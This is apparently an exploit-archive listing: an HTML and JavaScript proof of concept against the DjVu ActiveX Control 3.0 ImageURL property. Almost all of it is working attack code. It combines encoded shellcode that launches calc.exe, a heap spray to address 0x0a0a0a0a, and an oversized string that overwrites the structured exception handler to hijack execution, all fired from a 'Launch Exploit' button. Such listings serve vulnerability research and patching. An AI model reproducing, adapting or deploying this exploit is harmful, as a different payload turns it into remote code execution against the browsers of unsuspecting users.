SecurityReason - DjVu ActiveX Control 3.0 ImageURL Property Overflow Exploit ( Exploit )

Exploit Code :


<html>
<object id=boom classid="clsid:4A46B8CD-F7BD-11D4-B1D8-000102290E7C"
></object>
<input language=JavaScript onclick=Exploiter() type=button value="Launch
Exploit">
<script>
// clac.exe
var shellcode = unescape(
"%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800" +

"%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A" +

"%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350" +

"%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40" +

"%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000" +

"%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040" +

"%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD" +

"%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40" +

"%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18" +

"%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0" +

"%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B" +

"%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24" +

"%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9" +

"%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C" +
"%u652E%u6578%u9000");

var spraySlide = unescape("%u9090%u9090");
// address I use to jump ( ASCII Address )
var heapSprayToAddress = 0x0a0a0a0a;
var heapBlockSize = 0x400000;
var SizeOfHeapDataMoreover = 0x5;
var payLoadSize = (shellcode.length * 2);
var spraySlideSize = heapBlockSize - (payLoadSize +
SizeOfHeapDataMoreover);
var heapBlocks = (heapSprayToAddress+heapBlockSize)/heapBlockSize;
var memory = new Array();
function getSpraySlide(spraySlide, spraySlideSize)
{
while (spraySlide.length*2<spraySlideSize)
{
spraySlide += spraySlide;
}
spraySlide = spraySlide.substring(0,spraySlideSize/2);
return (spraySlide);
}
spraySlide = getSpraySlide(spraySlide,spraySlideSize);
for (i=0;i<heapBlocks;i++)
{
memory[i] = spraySlide + shellcode;
}
function Exploiter(){
var Buffer = 'A';
// this size of 'A' strings overwrite eip and it cause and exception so
we jumt to seh handler
var BufferSize = 1684;
// Next seh handler never execute
var NextSehHandler = unescape("%90%90%90%90");
// now we jump to our address in sprayed heap block and the Shellcode get
execute !
var SehHandler = unescape("%0a%0a%0a%0a");
while(Buffer.length<BufferSize) Buffer += Buffer;
Buffer = Buffer.substring(0,BufferSize);
boom.ImageURL = Buffer + NextSehHandler + SehHandler ;
}
</script>
</html>